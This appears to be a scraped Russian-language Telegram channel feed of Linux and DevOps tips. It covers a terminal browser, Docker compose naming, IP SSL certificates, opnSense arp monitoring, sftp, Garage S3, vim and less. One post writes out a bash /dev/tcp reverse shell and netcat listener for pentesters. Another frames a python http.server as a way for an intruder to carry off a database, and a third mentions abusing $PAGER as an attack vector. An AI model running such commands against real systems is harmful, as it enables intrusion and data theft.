Bash Days | Linux | DevOps
23.7K subscribers
223 photos
26 videos
773 links
Авторский блог от действующего девопса

Самобытно про разработку, devops, linux, скрипты, сисадминство, техдирство и за айтишную жизу.

Автор: Роман Шубин
Реклама: @maxgrue

MAX: https://max.ru/bashdays

Курс: @tormozilla_bot
Блог: https://bashdays.ru
Download Telegram
Ну началось…

Нашел я тебе тут новейший браузер для терминала. Причем не огрызок ебаный вроде lynx, а прям полноценный, с поддержкой графики, скриптов и со всеми современными технологиями.

Называется это чудо Brow6el, из пакетов ты его не поставишь, потому что разрабатывает его гикнутый профессор, соответственно тебе придется собрать его самому из исходников.

Благо товарищ побеспокоился об ущербных и дал нам Bash скрипты для билда.

Поехали собирать:

git clone https://codeberg.org/janantos/brow6el.git

sudo apt install build-essential cmake gitlibsixel-dev libgtk-3-dev libx11-dev libxrandr-dev libxinerama-dev libxcursor-dev libxi-dev libglib2.0-dev

cd /tmp/brow6el
chmod +x download_cef.sh
./download_cef.sh

mkdir -p build
cd build
cmake ..
make -j$(nproc)


Готово! Теперь запускаем:

cd build
./run_brow6el.sh https://linuxfactory.ru


Как это работает?

В основе лежит Chromium Embedded Framework (CEF), который рендерит страницы без графического интерфейса. Затем Brow6el преобразует полученное изображение в sixel-графику — формат, который поддерживают многие терминалы. В результате браузер выводит картинку в терминал и обновляет её в реальном времени.

Функции:

- поддержка мыши и клавиатуры
- обычный ввод и прокрутка
- вкладки
- менеджер загрузок
- система закладок
- приватный режим
- JavaScript-консоль
- внедрять скрипты по шаблону URL

Фича: ввод мыши возможен как с реальной мыши, так и через виртуальную мышь, управляемую клавиатурой, что позволяет работать даже если у тебя отсутствует мышь.

Короче забавная штука, пользоваться я этим говнищем не буду, но как концепт потыкать вполне себе достойно.


Возможно тебе сгодится для тайлинга или чего-то еще. Забирай в копилку.

🛠 #utilites #linux #terminal

💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
Please open Telegram to view this post
VIEW IN TELEGRAM
679
Стабилизация реверс-шелла

Во время создания реверс шелла, управлять этим шеллом прям больно, привычные терминальные команды работают неадекватно. Сейчас покажу, как пентестеры приводят такой шелл к нормальному виду.

Для начала на своей машине запускаем:

nc -lvnp 2288


Этой командой мы откроем порт 2288 на прослушивание, будем ждать входящее соединение. IP этой машины у меня 192.168.10.24.

Теперь на подопытной машине запускаем:

/bin/bash -i >& /dev/tcp/192.168.10.24/2288 0>&1


Возвращаемся на свою машину и видим, что коннект произошел:

root@n8n:~# nc -lvnp 2288
Listening on 0.0.0.0 2288
Connection received on 192.168.10.31 47504
root@onlyoffice:~#


Отлично. Пробуем нажать CTRL+L, для очистки экрана. Ага, хуй там плавал, видим только, что выводятся управляемые символы L^, аналогично не получится нажать CTRL+C и т.п.

Стабилизируем shell

script /dev/null -c /bin/bash


Отправляем консоль в бекграунд, нажимаем CTRL+Z

root@onlyoffice:~# ^Z
[1]+ Stopped nc -lvnp 2288


Возвращаемся:

stty raw -echo; fg


Нажимаем: ENTER

export TERM=xterm


На этом всё! Теперь наш реверс-шелл полностью стабилен, можем пользоваться им в своё удовольствие, все привычные команды и сочетания работают отлично, артефакты не лезут.

Вроде мелочь, но в своё время кровушки многим попило, да чё юлить, сейчас молодежь которая встала на путь поиска уязвимостей с этим постоянно сталкивается. И что интересно на курсах про «стабилизацию шелла» никогда не рассказывают.

Вот такие пироги, изучай. Больше про реверс-шеллы, можешь почитать тут:

- Практикуем reverse-shells
- Генератор reverse-shells

🛠 #security #linux

💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
Please open Telegram to view this post
VIEW IN TELEGRAM
566
Многих эта тема обошла стороной, дело привычки берет своё.

Я про docker-compose.yaml. Так вот, в современных дистрибутивах не обязательно называть так файл, достаточно обозвать его compose.yaml и всё будет работать. Но при условии если у тебя не допотопная ОС со старой версией docker’a.

Современный docker давно перешел на compose.yaml.

docker-compose — это отдельный python-инструмент
docker compose — встроенный плагин docker cli


Теперь docker в приоритете ищет файл compose.yaml и только потом старый docker-compose.yaml. И так и так все будет работать. Оно пока на это не ругается, но рано или поздно к этому придут.

Наверное ты уже замечал, что если в yaml указать version: 3.9 оно скажет — ты ебанутый? Я пожалуй это проигнорирую.

Это нужно было указывать раньше, чтобы docker понимал какие поля разрешены и как вообще интерпретировать файл. Теперь это легаси и docker автоматически определяет версию, чтобы избавиться от зоопарка версий: v2, v2, v3.7, v3.9. Получаем один формат → одна логика → меньше гемора.

Кстати аналогичная хуйня в кубере, где версию апихи указываешь в манифестах. Если ты не знаешь как с этим работать, будет тебе боль и страдания. За эту тему поговорим отдельно.


Но опять же если у тебя древняя ОС, выбора особо не будет, придется прописывать версии и поддерживать это наследие.

Пример с version или подстава. Создавалась это не для docker compose, а для docker swarm. В version:3 Docker Compose просто молча игнорировал: mem_limit, cpu_shares, cpus, restart_policy, depends_on. Не было ни ошибок, ни предупреждений. Просто ничего не происходило. Контейнер запускался, но не как ожидалось.

version: "3"
mem_limit: 512m


Хм… 512 говоришь, хуй те! Эй OOM давай к нам, у нас тут пациент!

version:3 — Swarm-спека

Ну и про yaml и yml пару строк. Можно писать так и так, оба варианта равноправны. Но всё же рекомендуется yaml, потому что это полное официальное расширение, так пишется в спецификациях и документациях. Плюсом это единый стиль Kubernetes, GitHub Actions, Helm и т.п.

На сколько помню yml пошел со старых систем, когда было ограничение в 3 символа, опять же наследие прошлого.

Возможно ошибаюсь, поправьте в комментах.

🛠 #docker #linux #devops

💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
Please open Telegram to view this post
VIEW IN TELEGRAM
562
Как быстро скачать файл с сервера

Бывает ситуация, когда тебе нужно быстренько дернуть какой-то файл с сервера, но там нет ни nginx ни т.п. херни. Вспоминать синтаксис scp и ебаться с ключами тоже не хочется. Тем более для такой задачи ставить софт — ну такое себе.

Из ситуации можно выйти проще.

Этот способ в основном используют спец-люди, которые в результате blackbox вектора проникли на север и им нужно утащить жирненькую базу данных. Всё элементарно.


Заходим в любую папку с файлами и запускаем:

python -m http.server 2977


Если питон старый, потрёпанный и сморщенный как хуй, делаем так:

python -m SimpleHTTPServer 2977


Затем курлим файл и скачиваем его к себе на машину:

curl -O http://linuxfactory.ru:2977/bashdays_db.zip


А можем прям в браузере открыть URL и увидеть список всех файлов, кликаем мышкой и скачиваем необходимое.

Еще бывают случаи когда curl не установлен, но wget есть из коробки:

wget -O bashdays_db.zip http://linuxfactory.ru:2977/bashdays_db.zip


Ну и в конце, когда получил желаемое, не забывай остановить такой веб-сервер. Изучай!

🛠 #security #linux #tricks

💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
Please open Telegram to view this post
VIEW IN TELEGRAM
586
Получаем SSL сертификат на IP адрес.

Вот и случилось, теперь ты можешь сгенерить валидный SSL сертификат для айпишника. Не самоподписанный, а прям настоящий от Lets Encrypt.

Не путать с mkcert, это совсем другое.


Единственный момент, такой серт будет валиден несколько дней (160 часов), поэтому придется почаще его выпускать, сейчас ставят 5 дней для обновления, как золотую середину. НЕ рекомендуется ставить 6, иначе можешь словить граблю. Вообще acme сам всё в кроне должен прописать, но это не точно.

Пока это может делать только acme, все остальные (certbot, angie) совсем скоро к этому придут.

Да, для домаших айпишников увы, такая чача не проканает, при попытке получить такой серт, получаем ошибку:

Cannot issue for \"192.168.10.91\": IP address is in a reserved address block: [RFC1918]: Private-Use"


Ну оно и логично, спецификации никто не отменял.

Я буду генерить для 178.72.129.181 на котором у меня установлен nginx. Виртуалка прерываемая, так что денег практически не жрет, для тестов в настоящем облаке — милое дело.

Приступим:

Не забудь подставить своё мыло, а то меня спамом завалит и я буду материться на кота.

curl https://get.acme.sh | sh -s email=shubkin@bashdayz.ru


Конфигурируем default в nginx:

server {
listen 80 default_server;
listen [::]:80 default_server;

server_name _;

location ~ ^/.well-known/(acme-challenge|pki-validation)/ {
add_header Content-Type text/plain;
root /var/www/letsencrypt;
}

location / {
return 301 https://$host$request_uri;
}
}


Создаем структуру папок и релоадим:

mkdir -p /var/www/letsencrypt
mkdir -p /etc/nginx/ssl
nginx -t
nginx -s reload


Выписываем пиздюлей сертификат:

acme.sh --issue --server letsencrypt -d 178.72.129.181 -w /var/www/letsencrypt --certificate-profile shortlived --days 3


Отлично, сертификат получили, устанавливаем:

acme.sh --install-cert -d 178.72.129.181 --key-file /etc/nginx/ssl/ip.key --fullchain-file /etc/nginx/ssl/ip.crt --ca-file /etc/nginx/ssl/ip.ca.crt --reloadcmd "systemctl restart nginx"


Добавляем дополнительный блок в default в nginx:

server {
listen 443 ssl default_server;
listen [::]:443 ssl default_server;
server_name _;
return 403;
ssl_certificate /etc/nginx/ssl/ip.crt;
ssl_certificate_key /etc/nginx/ssl/ip.key;
}


Перезапускаем:

nginx -t
nginx -s reload


И радуемся, теперь у тебя есть валидный SSL на голом айпишнике:

Общее имя (ЦС)  YE1
Организация Let's Encrypt
Дата выдачи: 29 января 2026 г.
Срок действия: 5 февраля 2026 г.


Дело в шляпе, что сказать? Пиздато! Порой ОЧЕНЬ не хочется привязывать домен, чтобы обзавестись SSL сертификатом, теперь выход есть. Глядишь найдется хак, чтобы сгенерить подобное для 192.168.0.1, но наверное это из оперы моих влажных фантазий.

🛠 #linux #devops #ssl

💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
Please open Telegram to view this post
VIEW IN TELEGRAM
1247
Я тут недавно на новогодние праздники затеял переезд на новый периметровый маршрутизатор. Раньше я использовал pfSense, но с недавнего времени он перестал обновляться. Да и скачать его проблематично. В общем решил переехать на opnSense.

🔤🔤🔤🔤🔤🔤🔤

Сразу скажу, что это уже вторая попытка. Первая попытка провалилась из-за регулярных падений и отваливая интернета.

Доходило до того, что пришлось ставить еженочную перезагрузку. Но, скорее всего это была вина не opnSense, а железа. Машина была старая, память не ECCшная. И вот теперь попытка номер два. На мой взгляд довольно успешная.

Все работает, как часы. На мой взгляд - интерфейс гораздо удобнее, чем у pfSense. Логичнее, что ли. Я не использую его на всю катушку - так, несколько WAN, LAN, DMZ и WI_FI. Все разведено физически, без VLAN.

Единственный затык был с настройкой DHCP. Я так и не понял, зачем туда воткнули три DHCP сервера (Dnsmasq, ISC DHCP, KEA DHCP) Может старшие товарищи объяснят. Немного пободавшись, я решил использовать Dnsmasq.

В общем, переезд прошел удачно. opnSense понравился. На мой взгляд, вполне можно использовать так замену pfSense.

Как установить arpwatch я не нашел, поэтому по традиции написал простенький csh-скрипт для оповещения появления в сети новых связок IP+mac.

Но это в следующий раз. Всем стабильных сетей.

🛠 #networks #linux

💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
Please open Telegram to view this post
VIEW IN TELEGRAM
47
В общем, поставил я себе opnSense и захотелось знать, не гуляют ли у меня в сети какие-нибудь «призраки». Решил написать скрипт для контроля связки IP-mac.

🔤🔤🔤🔤🔤🔤🔤

Первая часть тут: https://xn--r1a.website/bashdays/1356


У меня три подсети 192.168.0.0 = DMZ 192.168.1.0 = LAN, 192.168.2.0 = WIFI. Что творится в сети WIFI, меня не очень интересует, поскольку доступа из неё нет не только к LAN, но и к DMZ. Поэтому наблюдать будем две последние.

И да, у меня там статика. Есть конечно и DHCP, но буквально на пару адресов, на всякий случай.
Скрипт пришлось разбить на две части, потому что у csh не очень красивые переносы очень длинных строк.

#!/bin/csh
#checkarp.sh

set dt=`date "+%s"`
set bot_id=0000000000:AAAAAAAAA1_aaaaaaaaaaaaaaaaaaaaaaa1
set chat_id=1111111111
set text="GATE: Есть изменения arp $dt"

arp -an| \
awk -v dt=$dt -f "$0.awk" /dev/stdin "$0.spr" >>"$0.spr"
if ( $status != 0 ) then

curl -s -X POST https://api.telegram.org/bot$bot_id/sendMessage \
-F chat_id="$chat_id" -F text="$text" >/dev/null

endif


Этот скрипт сравнивает значения текущих IP и mac, со значениями, сохраненными в файле checkarp.sh.spr.

Если появилась новая связка — отправляется сообщение в телеграм о ВРЕМЕНИ появления(контроля) новых данных в формате UNIXTIME, и новая связка IP-MAC сразу дописываются в справочник spr.

Сами данные в телегу не отправляются — чтобы узнать, что появилось, придется залезть на машину и посмотреть grep/tail. Сделано это специально, чтобы лишний раз не светить инфраструктуру.

Ставим его на cron */15, потому что время жизни arp 20 минут (видно из вывода arp). Работает под обычным пользователем.

#checkarp.sh.awk

/[0-9a-f]{2}(:[0-9a-f]{2}){5}/{
if(NF==3){spr[$2 " " $3]}
else{ if( NF>3 && $0~/192\.168\.[01]\./){gsub(/[()]/, "", $0); arp[$2 " " $4]}}
}
END{
ret=0
for(i in arp){
seek=0
for(j in spr){
if(i==j){
seek=1; break
}
}
if(seek==0){ret=1; print dt, i}
}
exit ret
}


Основная часть на awk.

1. Анализируем только строки, в которых есть mac.
2. Файлы справочника и вывод arp разделяем по числу полей (в справочнике их три: unixtime ip mac).
3. Из вывода arp убираем все, что не относится к подсетям DMZ и LAN.
4. Тупо сравниваем связки каждый с каждым. (осторожно на больших подсетях, поскольку N^2).
5. Если что-то нашлось - errorlevel=1.

Все можно было бы сделать быстрее и проще, но очень хотелось:

6. Отказаться от временных файлов.(в opnSense нет /dev/shm).
7. Данные дописываются в тот же справочник, из которого читаются. Это можно сделать, потому что на момент анализа (блок END) данные из справочника уже считаны и файл закрыт.

Вопросы и предложения приветствуются.

man arp awk(gawk)


В следующей статье попробую описать впечатления и с какими проблемами пришлось столкнуться.

UPD: В комментах скрипт на sh

🛠 #networks #linux

💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
Please open Telegram to view this post
VIEW IN TELEGRAM
23
В последних двух моих статьях я рассказывал о том, как я перешел с pfSense на opnSense и попытался заменить arpwatchd самописным скриптом. Здесь я расскажу, с какими «проблемами» пришлось столкнуться.

🔤🔤🔤🔤🔤🔤🔤

Первая статья: https://xn--r1a.website/bashdays/1356
Вторая статья: https://xn--r1a.website/bashdays/1360


Началось с того, что я тупанул. Я знал, что pfSense и opnSense основаны на BSD, и знал, что обычно там отсутствует bash.

И почему-то подумал, что придется писать скрипт на csh (tsch). Я не знаю csh, но принципиальных отличий нет.

Ну, скрипт и скрипт. Небольшие отличия в синтаксисе. if и while присутствуют, значит проблем нет. Это действительно так. Самой большой проблемой стал перенос длинных строк даже в константах:

#!/bin/bash
echo '1
2
3'

#!/bin/csh
echo '1 \
2 \
3'


Это делает однострочники (в моем случае awk) крайне уродливыми. Когда скрипт уже работал, я решил проверить, какие там есть оболочки cat /etc/shells , и с изумлением обнаружил /bin/sh.

Ладно, потратил лишних пару дней, но приобрел опыт. Винить некого. Но плюс в том, что если знаешь bash - в случае крайней необходимости можешь написать скрипт и для другой оболочки.

Были небольшие затыки с программами. Вроде date, как date, но ключики немного не совпадают. Я думал там gawk, но нет, awk. (не нашел разделы BEGINFILE{...} ENDFILE{...}). Но, при большом желании можно обойтись и без них.

Что порадовало, так это наличие man в opnSense. В pfSense его не было. И это очень круто.

Очень жаль, что не нашел ramdisk /dev/shmLinux он обычно есть и под него выделено половину оперативки).

Ну, и еще одной проблемой стал редактор vi, который оказался единственным в системе!!!

ed, red, sed не в счет, хотя, если припрет... В pfSense был еще nano.

Я в последнее время использую vim (который начал изучать после рекомендаций Дмитрия Малинина здесь, на BashDays. За что ему спасибо.) Кто еще не начал - ставьте vim, и запускайте vimtutor. Этого будет достаточно, чтобы как-то работать в vi и vim.

Вывод из всего этого - nix это круто. И не важно - Linux или BSD. Они очень похожи, по крайней мере, если знаешь что-то одно - разобраться не проблема. Принципы одинаковые.

Холиваров прошу не устраивать. Просто решил поделиться опытом. Если где-то ошибся - поправьте.

🛠 #networks #linux #bash

💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
Please open Telegram to view this post
VIEW IN TELEGRAM
42
Всем привет. Здесь я уже останавливался на sftp. Немного заострю внимание на особенностях применения в скриптах.

🔤🔤🔤🔤🔤🔤🔤

Вы все люди взрослые, но на всякий случай напомню, что использовать sftp с паролем категорически противопоказано. И это важно не клиенту. Это важно серверу. Нужно обязательно использовать ключ. Да, сам ключ может быть без пароля, что фактически превращает ключ в тот же самый пароль, в случае хищения, но для сервера так безопасней.

Обычно для обработки в скрипте используют heredoc, но есть и другой путь, через конвейер.

echo -e "ls\\ncd /tmp\\nget 123.txt\\nbye"|sftp -i keyfile user@host:/path/to/dir


Здесь \\n - это код перевода строки. Не красиво, но работает.

Вот тут есть небольшая тонкость, которую хотелось бы пояснить.

Весь пакет команд будет выполнен, вне зависимости от ошибок. Т.е. если был запрошен переход в каталог, которого не оказалось, а потом команда заливки файла - файл будет залит в текущий каталог, и никто об этом не узнает.

Для решения проблемы есть специальный ключ -b (batch mode) который позволяет читать sftp-скрипт из файла. Чтобы (как в нашем случае) читать stdin, нужно указать -b- , или совсем конкретно -b "/dev/stdin".

При использовании данного ключа, если команда не выполнена, sftp завершается с ошибкой, все дальнейшие команды игнорируются. А эту ситуацию можно обработать стандартными средствами bash.

Но и здесь есть исключения. Если команду указать с префиксом "-", то она переходит в разряд опциональных, и в случае ошибки, sftp-скрипт будет продолжен. Например -get 123.txt. Кроме этого префикса есть еще префикс "@", который подавляет печать(вывод) команды при выполнении. Префиксы равнозначны, могут использоваться в любой последовательности.

Знания почерпнуты из man, при попытке перевести обмен между 1c с ftp на sftp. Если тема интересна, могу привести рабочий скрипт обмена, и рассказать, почему я от него в итоге отказался.

man sftp


Всем кода без багов.

🛠 #linux #bash

💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
Please open Telegram to view this post
VIEW IN TELEGRAM
40
Всем привет.

Я тут с удивлением обнаружил, что в debian 13 исчезли команды last и lastb которые позволяли смотреть удачные/неудачные попытки ssh/sftp

🔤🔤🔤🔤🔤🔤🔤

А я к ним так привык... journalctl — прекрасен, но лазить по логам — так себе занятие.

Решил немного упростить, чтобы вывод был в виде таблички: timestamp ip login

Иногда мальчиши-плохиши подсовывают «пустого» пользователя " ", и чтобы число полей было всегда три, я заменяю его на ":", используется в качестве разделителя /etc/passwd, и поэтому такого логина не должно быть.

journalctl --output=short-unix --unit=ssh |
gawk '{match($0,/.*for( invalid user)? +(.*?) +from (([0-9]{1,3}[.]){3}[0-9]{1,3})/,a)
#^ это одна длинная строка
if(a[2]==""){a[2]=":"} # заменили "пробельного usera" на ":"
if(a[3]!="") print $1, a[3],a[2]}'



#Отображение только неудачных попыток
journalctl --output=short-unix --unit=ssh |
gawk '/error: maximum/{match($0,/.*for( invalid user)? +(.*?) +from (([0-9]{1,3}[.]){3}[0-9]{1,3})/,a)
#^это одна длинная строка
if(a[2]==""){a[2]=":"} # заменили "пробельного usera" на ":"
if(a[3]!="") print $1, a[3],a[2]}'


Если нужно ограничить диапазон дат можно использовать ключ

--since="@TIMESTAMP"

где TIMESTAMP дата вида 1773848322.767923 или 1773848322 или просто --since="-1 day"

Если не нравится дата в timestamp замените последнюю строчку на:

if(a[3]!="") print strftime("%Y%m%d_%H%M%S",$1), a[3],a[2]}'


Или какой-нибудь свой формат. Я, вообще не спец по regexp, поэтому, если кто-нибудь поможет ускорить выражение — буду благодарен.

Всем кода без багов.

🛠 #bash #linux

💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
Please open Telegram to view this post
VIEW IN TELEGRAM
844
Всем привет. Что мы все о bash да и bash. Надоело. Сегодня поговорим про awk.

🔤🔤🔤🔤🔤🔤🔤

Не много осталось админов, которые парсят текстовые логи. Вся молодежь и даже пОдростки перешли на JSON. Ну да, это удобно. Но иногда awk быстрее. Особенно на больших файлах и файлах и простых фильтрах.

Но я сегодня не в настроении устраивать холивар.

При использовании логов очень часто возникает проблема — очень большое количество полей. А awk зачастую использует именно номер поля.

Так вот, чтобы немного упростить задачу я написал маленький скрипт, который разбирает строку и нумерует поля. Это здорово экономит время.

Сам скрипт:

#!/bin/awk -f
BEGIN{printf "INPUT field separator "
getline
FS=$0
printf "INPUT test line\n"
getline
printf "\n\n"
for (i=1;i<=NF;i++)print i, $i
}


Как обычно сохраняем fields.awk и делаем исполняемым:

chmod +x fields.awk
./fields.awk


Как это работает:

1. Сначала вводим разделитель.
2. Затем строчку лога и получаем разбивку по полям.

Ввод разделителя нужен, потому что иногда уже внутри кода приходится использовать оператор split и другой разделитель. Да и логи бывают разных форматов.

Рассмотрим такой пример:

<134>1 2026-04-17T16:51:47+03:00 OPNsense.internal filterlog 18074 - [meta sequenceId="2054702"] 111,,,4b75111111111111111111111111cb1d,eno1,match,block,in,4,0x0,,64,27367,0,DF,6,tcp,60,192.168.2.125,192.168.7.14,60248,22,0,S,1539242113,,65535,,mss;sackOK;TS;nop;wscale


В этом случае, если нужно одновременно вытащить и дату и IP с портами, проще в качестве основного разделителя использовать ",", а потом первое поле:

<134>1 2026-04-17T16:51:47+03:00 OPNsense.internal filterlog 18074 - [meta sequenceId="2054702"] 111


Здесь, если мы разбить по пробелам (split($1,f," ")), то f[2] будет содержать дату. Которую в свою очередь можно путем нехитрых манипуляций превратить в unuxtime, для удобства машинной обработки.

Всем кода без багов.

🛠 #bash #linux

💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
Please open Telegram to view this post
VIEW IN TELEGRAM
142
Свой S3 или пошаговая настройка Garage

Здрасти, здрасти. Теперь по выходным у меня полнейший «цифровой детокс», а причина этому — дача. Круче всякого спортзала прокачивает, а заодно прочищает голову. Физический труд всегда в почёте.

Ладно, это детали… сегодня будем поднимать собственный S3 и да, без хуйни вроде minio и ceph.

А на помощь к нам приходит «Гараж», в котором мы и будем хранить наши «Вёдра». Garage ориентирован на маленький и средние кластера, домашние сервера и распределенные ноды. И да, он полностью в opensource и не просит денег. Для self-host пиздатейшее решений, да и морда есть из коробки.

Я возьму 3 своих рандомных сервера и сделаю из них кластер. Сервера не пустые, на них что-то крутится и вертится, просто рядышком впендюрю еще одну хуёвинку.

Почему именно 3 сервера? Кластерная классика, если один из серверов пойдёт по пизде, то 2 других соберут кворум и отдадут тебе твои данные. То есть тебе не нужно иметь заранее подготовленные машины, можно взять какойнить хлам и из него запилить кластер под бекапы. И всё это дело будет работать нативно через API S3.

Да, когда ты будешь заливать файлы в своё облако, данные будут реплицироваться на все 3 сервера. Поэтому сервера рекомендую держать в разных регионах или вообще у разных провайдеров. Например, если сгорит один дата центр, то ты не проебешь свои данные. Удобно и надёжно. Ну и смотри в сторону дискового места, если на одном сервере выделил 50 гигов под бакет, то на остальных серверах выдели столько же, чтобы не возникало коллизий.


Прицепом воткнем балансировщик нагрузки, чтобы по домену всё работало. И да, запускать будем в докере.

Поехали настроим это безобразие.

Демон докера надеюсь у тебя уже установлен, поэтому заострять внимание на этом не будем. Заходим на первый сервер и мутим мутки:

Файл compose.yaml:

services:
garage:
image: dxflrs/garage:v2.3.0
ports:
- "3900:3900" # S3 API
- "3901:3901" # RPC
- "3902:3902" # Web (optional)
- "3903:3903" # Admin API
volumes:
- ./garage.toml:/etc/garage.toml:ro
- ./meta:/var/lib/garage/meta
- ./data:/var/lib/garage/data


Думаю, вопросов не должно возникнуть. Банальный композник, порты я тебе все подписал. Версию гаража можешь глянуть в интернете, на момент написания статьи последняя v2.3.0. Да буква «v» тут важна и latest тут не канает.

Читать продолжение: https://two.su/3qjfl

🛠 #devops #linux

💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
Please open Telegram to view this post
VIEW IN TELEGRAM
54
Такс, S3 кластер на Garage в предыдущем посте мы с тобой сообразили, самое время накрутить обвесов и сделать всё по взрослому. Как ты любишь — без хуйни.

Нежных сразу — нахуй, остальным велком.


Для начала установим балансировщик. То есть входная точка у кластер всегда будет одна, а дальше балансировщик будет раскидывать запросы по 3м нашим серверам в кластере. Если одна из нод пойдет по пизде, балансировщик это прозрачно разрулит и отдаст тебе файл в любом случае, даже без правки конфигов.

Проверяем наш кластер:

docker exec -it garage-garage-1 /garage status


Работает. Дальше берем еще один сервер, который будет выступать балансировщиком. Для теста я создам в Selectel нищую виртуалочку и впихарю на нее haproxy.

Устанавливаем haproxy:

apt install haproxy


Домен для кластера я буду использовать s3.linuxfactory.ru, соответственно во всяких rclone нужно будет прописать его в параметре endpoint.

Правим конфиг /etc/haproxy/haproxy.cfg:

global
log /dev/log local0
maxconn 4096

defaults
mode tcp
timeout connect 5s
timeout client 1m
timeout server 1m
option http-server-close
timeout http-request 10s
timeout queue 1m

frontend garage_front
bind *:443 ssl crt /etc/ssl/garage.pem
option http-buffer-request
default_backend garage_back

backend garage_back
balance roundrobin

server node1 95.123.123.116:3900 check
server node2 152.44.71.205:3900 check
server node3 145.83.116.20:3900 check


Проверяем валидность конфиги:

haproxy -c -f /etc/haproxy/haproxy.cfg


Приучи себя всегда это делать, будь то nginx либо что-то другое. Однажды это спасет твою жопу от пенетрации.


Ага, хуй там плавал. Давай создадим SSL сертификат. Я конечно предпочитаю angie, чтобы он сам это сделал, но у нас haproxy, поэтому придется немного пострадать...

Читать продолжение: https://two.su/aaahd

🛠 #devops #linux

💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
Please open Telegram to view this post
VIEW IN TELEGRAM
26
Относительная нумерация

Частенько народ интересуется, а почему у меня в виме такая странная нумерация. Да, этим вопросом и я в своё время задавался. Называется это «Относительная нумерация».

Главная идея здесь — быстрое перемещение по коду с клавиатуры.

Например, курсор стоит у меня в 27 строке. Если я сейчас выполню комбинацию: 6j, то курсор у меня встанет на строку: Не забудь подставить своё мыло. Такая нумерация показывает расстояние до строки от курсора, а не её абсолютный номер.

Аналогично работает и в других направлениях. В редакторе ZED это включается через конфиг:

relative_line_numbers": "enabled"


В виме же по классике в конфиге:

set number  
set relativenumber


Честно, если ты пользуешься мышкой, это бесполезная настройка. Для новичков это совсем неочевидная фича и возможно даже вредная. Короче у этой фичи целая философия:

➡️ Мышление расстояниями. В заурядной жизни, ты будешь думать — ага, мне бы на строку 15 попасть. А если ты адепт вима, твоё мышление такое — мне бы на 6 строчек ниже.

➡️ Ускорение всех count-команд. Тут не только клавиши hjkl задействованы, ты можешь выполнять ряд других операций. Например:

5dd — удалить 5 строк
3yy — скопировать 3 строки
4> — сдвинуть 4 строки вправо
2} — прыгнуть на 2 абзаца


Ты сразу видишь нужное число, сразу прожимаешь нужную комбинацию.

➡️ Сильно уменьшает мысленную математику. Без — так… я на 120 строке, мне нужно на 133… это +13. С ней — вижу 13 → 13j.

Мозги по сути вообще ничего не считают. Это плюс. Думаешь не головой, а жопой.

➡️ Работает лучше с большими файлами. Когда у тебя файл на 1000+ строк, абсолютные номера создают шум, а относительные прям в тему. Ты ориентируешься вокруг курсора, а не во всём файле.

Минусы? Да конечно!

➡️ Поначалу выламывает тебя, перестраивает, больно
➡️ Плохо подходит для дебага с конкретными строками

В общем относительная нумерация, это не про цифры, она про то, чтобы перестать искать строки и моментально перепрыгивать в нужное место.

Если есть чё добавить, камон в комменты, будет интересно почитать.

🛠 #devops #linux

💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
Please open Telegram to view this post
VIEW IN TELEGRAM
44
Тайна вызова Less в Linux утилитах

Привет ребят. Ща покопаемся в неочевидных вещах, залезем так сказать под капот.

Знаешь же такую команду:

git log


Тут всё просто, она выводит историю коммитов. И что примечательно, в конце будет пагинация (pager). Смотри картинку 1.

А теперь пойдем неочевидной дорожкой и выполним:

sudo mv /usr/bin/less /usr/bin/less.bak 


Ну и снова запустим git log: Смотри картинку 2.

Хуяк и нет больше пагинации. Сразу вывалилась простыня. О чем это говорит? А говорит это о том, что git использует внешнюю утилиту less при выводе истории коммитов, причем делает это по умолчанию.

Но если less накрылся пиздой, git сразу вывалит простыню без пагинации. Забавно! Давай подключим strace и подтвердим этот факт, запускаем:

strace -f -e execve git log


И видим картину маслом: Смотри картинку 3

Ага, запускается less, а теперь снова перемещаем less и смотрим выхлоп strace: Смотри картинку 4

Вот и прекрасно, словили ошибку error: cannot run less: No such file or directory. Но ожидаемый результат все равно получили.

Если выполнить команду echo $PAGER, то увидим, какая утилита будет использоваться для пагинации. По умолчанию less, но раз есть переменная, её можно переопределить. Давай попробуем это сделать.

apt install lolcat
export PAGER="lolcat"
git log


Иииии ебать копать: Смотри картинку 5.

Кстати не только git завязан на переменную $PAGER, такое же поведение ты можешь увидеть у утилит: man, systemctl, journalctl и т.п. Всё что работает с пагинацией, использует переменную $PAGER.

Ну и на закуску:

export PAGER="vim -"
man ls


Команда man ls будет выполнена в vim. То есть получается что любая программа, доверяющая $PAGER, фактически запускает произвольную команду пользователя.

А это уже еще один вектор атаки из арсенала пентестеров, о котором никто не рассказывает. Так что бери на вооружение, глядишь сгодится при прохождении очередного HackBox’а.

🛠 #security #linux

💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
344
Less и секретный режим мониторинга

Очередные консольные приколы о которых ты не знаешь. Есть такая красота:

tail -f /var/log/nginx/access.log


Эта команда будет в реальном времени выводить строчки из файла по мере их добавления. То есть ты можешь наблюдать за лог файлами как с авто-суфлёра.

НО есть аналог:

less +F /var/log/nginx/access.log


А если кто не знал, то в less можно пользоваться клавишами vim. Например, навигация hjkl.

Сразу видно, что утилиты затачивали под одну экосистему и unixway. Ну а теперь вкуснятина.

После выполнения команды less +F нажимаем CTRL+C и теперь можно передвигаться по выводу как раз теме же клавишами hjkl, что-то поискать /127.0.0.1, g/G, n/N.

На минуточку, в tail ты так быстро ничего не поищешь. Надо тормозить процесс, выгружать в файл, грепать-хуепать.


Ну а чтобы вернуться в режим наблюдения, нажимаем SHIFT+F и less возвращает режим мониторинга, строчки с логами продолжают бежать в реальном времени.

Так что less это не просто про пагинацию, а немного больше.

🛠 #bash #linux

💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
Please open Telegram to view this post
VIEW IN TELEGRAM
94
